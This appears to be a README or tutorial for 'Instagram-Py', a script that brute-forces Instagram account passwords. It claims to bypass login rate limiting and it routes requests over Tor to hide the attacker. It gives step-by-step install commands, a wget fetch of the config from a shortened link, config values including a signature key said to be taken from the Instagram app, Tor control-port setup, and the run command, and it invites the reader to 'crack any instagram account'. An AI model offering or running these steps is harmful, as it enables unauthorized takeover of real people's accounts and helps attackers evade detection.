Instagram-Py – Simple Instagram Brute Force Script

Instagram-Py is a simple python script to perform basic brute force attack against Instagram ,
this script can bypass login limiting on wrong passwords , so basically it can test infinite number of passwords.
Instagram-Py is proved and can test over 6M passwords on a single instagram account with less resource as possible
This script mimics the activities of the official instagram android app and sends request over tor so you are secure, but if your tor installation is misconfigured then the blame is on you.
Depends on: python3 , tor , requests , requests[socks] , stem


using pip to get Instagram-py

Make sure you have got the latest version of pip(>= 9.0 and python(>= 3.6)

$ sudo easy_install3 -U pip # you have to install python3-setuptools , update pip
$ sudo pip3 install requests --upgrade
$ sudo pip3 install requests[socks]
$ sudo pip3 install stem
$ sudo pip3 install instagram-py
$ instagram-py # installed successfully
$ # Now lets copy the config file to your hard drive!
$ wget -O ~/instapy-config.json "https://git.io/v5DGy"

Configuring Instagram-Py
Open your configuration file found in your home directory , this file is very important located at ~/instapy-config.json , do not change anything except tor configuration

$ vim ~/instapy-config.json # open it with your favorite text editior!

The configuration file looks like this

 "api-url" : "https://i.instagram.com/api/v1/",
 "user-agent" : "Instagram 10.26.0 Android (18/4.3; 320dp..... ",
 "ig-sig-key" : "4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178",
 "ig-sig-version" : "4",
 "tor" : {
    "server" : "",
    "port" : "9050",
    "protocol" : "socks5",
    "control" : {
          "password" : "",
          "port" : "9051"


api-url : do not change this unless you know what you are doing
user-agent : do not change this unless you know your stuff
ig-sig_key : never change this unless new release, this is extracted from the instagram apk file
tor : change everything according to your tor server configuration , do not mess up!

Configuring Tor server to open control port
open your tor configuration file usually located at /etc/tor/torrc

$ sudo vim /etc/tor/torrc # open it with your text editor

search for the file for this specific section

## The port on which Tor will listen for local connections from Tor
## controller applications, as documented in control-spec.txt.
#ControlPort 9051

uncomment ‘ControlPort’ by deleting the # before ‘ControlPort’ , now save the file and restart your tor server
now you are ready to crack any instagram account , make sure your tor configuration matched ~/instapy-config.json

Finally , now you can use instagram-py!

$ instagram-py your_account_username path_to_password_list
